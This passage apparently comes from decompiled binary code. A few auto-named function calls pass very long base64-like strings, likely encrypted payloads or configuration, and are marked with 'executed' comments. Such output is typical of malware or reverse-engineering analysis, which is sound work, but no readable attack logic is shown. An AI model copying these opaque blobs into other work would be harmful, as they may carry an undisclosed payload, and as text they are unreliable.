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", _t155); // executed
				_v48 = 1;
				E100072DC(__ecx, __ebp,  &_v88, _t157, "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"); // executed
				r8d = 0;
				E10006BE0(__ecx, _t155, _t157, _t155, "l9eL9wko4fv5Jd8UIlr2xIeoCjuhK1ecXr+4noRF6AizTVbfcs+U7FQqIqO8zp/G2DWBGumd8FZetj2USBDVmakBwWBLa0PHGiGNZFZeXDVcDd1nGakxCeTXYUOLEiGWrB7V/LnJQt1/GWD/ocUyHotRX16mCDlbxngjLBFFHqExGcUCDh3WX16gIDlXtg1M7bYFC6kBGauSQS7HGuXbsFZe5hWYhjmRY6kBzYKPa0OLGuXoCXIevD1MzhAOXmD5M5MP6Ackb9UkMhLVcs+qA3ACjoHVdkSAJPgFnl5hxhvlj8cf8Xbdh+mecs0S2sJF5BMXsqnfQsOQyaHVoW0LPqtHYcJFIGEesqnfegfcODuVp00Lc8UyHt1lv7OmCOHn+HgjxhmdiqRVbcUy1v0md0WmCDmvPHgjxiFF2P/ZxsUyDrCnQHTgCDnYYIfcxhFFLciLicUyDhK14cTqCDkavDWUzhAORqMhCc8K2g+LnLZt/lZej1eXR1QXSZx0dkvChb//oBLs0XKuN3gjDt9xdmH/DWQO6qBdnJKtgRYNf/vPFx2hv8BSs0RHKcgFOOxjTZEaEziYCVQqoWxQMmJUYUNI2p5uyJBeN3jkA3AazTR0dv4xkEFcmBpFZXpkNQBIA3AaAqEwUnTGJWcw2IaespcyE0goLBAOVhL9MmB34Dckb3XKR1aZc1wbM24qZqkwUnzysLz/3hpFdYfvyIeiA3ASQQp0dsUzRXtV1qqeihJ6d62vR1SrKgw0CzolicJ0ex5Zwj+28DwHc0ShZij1OmBzX/ESvtUlaWLTOzjiplajKgxA9wBjVQ0goKHgOXJqRzX2y99uQhz/MmAH6gckZ9UlaWa2RH4jRxyjY6DFdEQP6ohI3JoxFh6h17RrzggOdmD9GmBfNxRBCRbioWYWvInLXZAqZmAXJ3iAJWcgNSJhTZEa